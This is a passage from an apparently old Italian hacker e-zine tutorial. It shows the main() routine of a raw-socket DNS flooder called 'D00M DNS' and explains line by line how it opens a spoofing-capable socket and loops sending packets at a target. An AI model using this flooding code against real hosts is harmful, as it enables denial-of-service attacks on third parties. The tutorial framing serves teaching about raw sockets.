hz=100; if(argc<2) { fprintf(stderr, "Interesting .... let's flood ourselves ?!\n"); exit(0); } if(argv[2]) hz=atoi(argv[2]); saddr=nameResolve(argv[1]); srand(time(NULL)); if((sfd=socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { fprintf(stderr, "\nSOCK_RAW Died\n"); exit(2); } sfdo=1; if(setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &sfdo,sizeof(sfdo)) <0) { fprintf(stderr, "\nIP_HDRINCL Died\n"); exit(3); } printf("\n\033[1;32mD00M DNS\033[0m"); printf("\n\033[1;34mDNS Flooder by FuSyS\033[0m"); printf("\n\033[1;34minithints by |scacco|\033[0m\n\n"); loop=0; while(hz--) { doomzone(); printf("\033[1;34m[DNS]\033[0m"); } printf("\n\n"); return(0); } La variabile sfdo viene dichiarata di tipo integer e hz di tipo unsigned int e le viene assegnato il valore di 100. La variabile hz rappresenta il numero dei pacchetti da inviare, se nella command line non viene specificato nulla questo valore e' 100. Successivamente viene eseguito un controllo sul numero dei parametri della command line, se non viene specificato un target viene restituito il messaggino d'errore. Come annunciato precedentemente viene effettuato un controllo sul valore di argv[2], se questo non e' nullo allora hz assume questo valore. Tramite la funzione saddr=nameResolve(argv[1]); si ottiene l'ip dell'host target inserito nella command line. srand(time(NULL)); ehm... sorry?. Subito dopo viene generato come detto parecchie frasi fa il descrittore del socket sdf e come parametro inseriamo AF_INET, SOCK_RAW, IPPROTO_RAW come potete immaginare questi parametri si riferiscono al tipo di lavoro che dobbiamo fare, il primo lo conoscete, il secondo specifica che lavoriamo con RAW SOCKET (non avete ancora capito cosa sono?) e con il terzo specifichiamo il tipo di protocollo da applicate ai RAW SOCKET cioe' IPPROTO_RAW. Se questa funzione restituisce un valore inferiore a 0 si e' verificato un errore e il programma deve terminare. Tramite la funzione setsockopt (come dice la prola stessa) andiamo a settare le opzioni del socket e dobbiamo specificare il descrittore del socket stesso, il protocollo che e' IPPROTO_IP e IP_HDRINCL, cioe' vogliamo avere il controllo dell'header ip. Qui si puo' generare un errore (o meglio la funzione potrebbe resitituire un valore inferiore a 0) se non si e' root, in quanto solo l'utente root puo' controllare l'ip header (per quanto riguarda linux). printf..., printf..., printf... ma chi sara' questo |scacco|?. La variabile loop viene settata uguale a 0 ed inizia il loop di invio pacchetti fino a quando la variabile hz risulta uguale a 0. Tutto finito. Molte parti di questo testo non sono complete in quanto appositamente non mi sono voluto dilungare sulla trattazione degli header, ma non vi preoccupate, i piu' curiosi sappiano che non li ho abbandonati, il vostro |scacco| vi sta preparando una serie di articoli sui protocolli. Non perdetevi tra le altre cose l'introduzione ad internet di sh4mp00. No non ridete non e' il solito tutorial sul netscape, sulla mail e sulle news, ma vi spiega come funziona internet veramente. Spero che il tutto vi sia stato gradito... ******** Per informazioni, commenti, offese e denunce potete trovarmi a: scacco@s0ftpj.org |scacco| & FuSyS --------------------[ previous ]---[ index ]---[ next ]--------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ==============================================================================